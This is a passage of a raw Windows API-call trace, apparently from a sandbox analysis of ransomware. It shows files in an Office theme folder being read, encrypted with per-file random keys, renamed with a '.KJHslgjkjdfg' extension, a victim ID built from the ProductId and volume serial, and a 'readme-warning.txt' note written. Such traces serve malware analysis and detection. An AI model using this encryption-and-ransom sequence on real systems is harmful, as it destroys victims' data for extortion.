[0172.216] GetProcessHeap () returned 0x990000 [0172.216] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.216] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.elm.kjhslgjkjdfg")) returned 1 [0172.220] CloseHandle (hObject=0x12c) returned 1 [0172.220] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DEEPBLUE.INF", cAlternateFileName="")) returned 1 [0172.220] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.220] GetProcessHeap () returned 0x990000 [0172.220] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.220] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.220] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.220] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x7, lpOverlapped=0x0) returned 1 [0172.222] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.222] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.222] GetProcessHeap () returned 0x990000 [0172.222] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.222] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.222] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.222] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.222] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.222] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.222] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.223] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.223] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.223] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.223] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.223] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.223] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x239, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x239, lpOverlapped=0x0) returned 1 [0172.223] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x240, dwBufLen=0x240 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x240) returned 1 [0172.224] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.224] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x240, lpOverlapped=0x0) returned 1 [0172.224] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.224] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.224] SetEndOfFile (hFile=0x12c) returned 1 [0172.226] GetProcessHeap () returned 0x990000 [0172.226] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.226] GetProcessHeap () returned 0x990000 [0172.226] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.226] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\DEEPBLUE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\deepblue.inf.kjhslgjkjdfg")) returned 1 [0172.236] CloseHandle (hObject=0x12c) returned 1 [0172.236] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf75, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0172.236] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.236] GetProcessHeap () returned 0x990000 [0172.236] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.236] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.236] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.237] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xb, lpOverlapped=0x0) returned 1 [0172.240] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.240] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.240] GetProcessHeap () returned 0x990000 [0172.240] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.240] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.240] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.240] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.241] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.241] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.241] WriteFile (in: hFile=0x12c, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.241] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.241] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.241] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.241] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.241] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.241] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xf75, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0xf75, lpOverlapped=0x0) returned 1 [0172.241] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xf80, dwBufLen=0xf80 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0xf80) returned 1 [0172.241] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.241] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0xf80, lpOverlapped=0x0) returned 1 [0172.241] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.241] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x1054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.242] SetEndOfFile (hFile=0x12c) returned 1 [0172.244] GetProcessHeap () returned 0x990000 [0172.244] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.244] GetProcessHeap () returned 0x990000 [0172.244] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.244] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.kjhslgjkjdfg")) returned 1 [0172.245] CloseHandle (hObject=0x12c) returned 1 [0172.245] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0172.245] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.247] GetProcessHeap () returned 0x990000 [0172.247] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0172.247] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0172.247] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0172.247] WriteFile (in: hFile=0x12c, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x3, lpOverlapped=0x0) returned 1 [0172.253] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.253] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.253] GetProcessHeap () returned 0x990000 [0172.253] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.253] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0172.253] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.253] WriteFile (in: hFile=0x12c, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0172.253] WriteFile (in: hFile=0x12c, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0172.253] WriteFile (in: hFile=0x12c, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0172.253] WriteFile (in: hFile=0x12c, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0172.253] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0172.253] WriteFile (in: hFile=0x12c, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0172.254] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0172.254] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0172.254] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.254] ReadFile (in: hFile=0x12c, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x81fd, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x81fd, lpOverlapped=0x0) returned 1 [0172.255] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x8200, dwBufLen=0x8200 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x8200) returned 1 [0172.255] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.255] WriteFile (in: hFile=0x12c, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x8200, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x8200, lpOverlapped=0x0) returned 1 [0172.255] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.255] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x82d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.255] SetEndOfFile (hFile=0x12c) returned 1 [0172.258] GetProcessHeap () returned 0x990000 [0172.258] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0172.258] GetProcessHeap () returned 0x990000 [0172.258] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0172.258] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0172.268] CloseHandle (hObject=0x12c) returned 1 [0172.268] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0172.268] GetProcessHeap () returned 0x990000 [0172.268] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0172.268] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.268] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29dee20 | out: pbData=0x9af7b0, pdwDataLen=0x29dee20) returned 1 [0172.268] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.269] GetProcessHeap () returned 0x990000 [0172.269] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0172.269] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.269] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29dee20 | out: pbData=0x9af7f8, pdwDataLen=0x29dee20) returned 1 [0172.269] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.269] GetProcessHeap () returned 0x990000 [0172.269] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9f99f0 [0172.271] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.271] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9f99f0, pdwDataLen=0x29dee20 | out: pbData=0x9f99f0, pdwDataLen=0x29dee20) returned 1 [0172.272] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.272] GetProcessHeap () returned 0x990000 [0172.272] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0172.272] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.272] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dea00 | out: pbData=0x9af840, pdwDataLen=0x29dea00) returned 1 [0172.272] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.272] GetProcessHeap () returned 0x990000 [0172.272] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0172.272] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.272] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29dea00 | out: pbData=0x9b18c8, pdwDataLen=0x29dea00) returned 1 [0172.272] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.272] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29de9fc | out: phkResult=0x29de9fc*=0x12c) returned 0x0 [0172.272] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dea08, lpcbData=0x29dea04*=0x400 | out: lpType=0x0, lpData=0x29dea08*=0x30, lpcbData=0x29dea04*=0x18) returned 0x0 [0172.273] RegCloseKey (hKey=0x12c) returned 0x0 [0172.273] GetProcessHeap () returned 0x990000 [0172.273] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af840 | out: hHeap=0x990000) returned 1 [0172.273] GetProcessHeap () returned 0x990000 [0172.273] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0172.273] GetProcessHeap () returned 0x990000 [0172.273] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18c8 [0172.273] CryptImportKey (in: hProv=0x9acd90, pbData=0x29de770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6668) returned 1 [0172.273] CryptDecrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18c8, pdwDataLen=0x29de7d4 | out: pbData=0x9b18c8, pdwDataLen=0x29de7d4) returned 1 [0172.273] CryptDestroyKey (hKey=0x9b6668) returned 1 [0172.273] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x29de7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0172.273] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x29de7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29de7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0172.274] GetProcessHeap () returned 0x990000 [0172.274] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b18c8 | out: hHeap=0x990000) returned 1 [0172.274] wsprintfA (in: param_1=0x29dea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0172.274] wsprintfA (in: param_1=0x29dee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0172.274] GetProcessHeap () returned 0x990000 [0172.274] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0172.274] wsprintfW (in: param_1=0x29dddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\readme-warning.txt") returned 83 [0172.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0172.276] WriteFile (in: hFile=0x12c, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29dddf8, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29dddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0172.277] CloseHandle 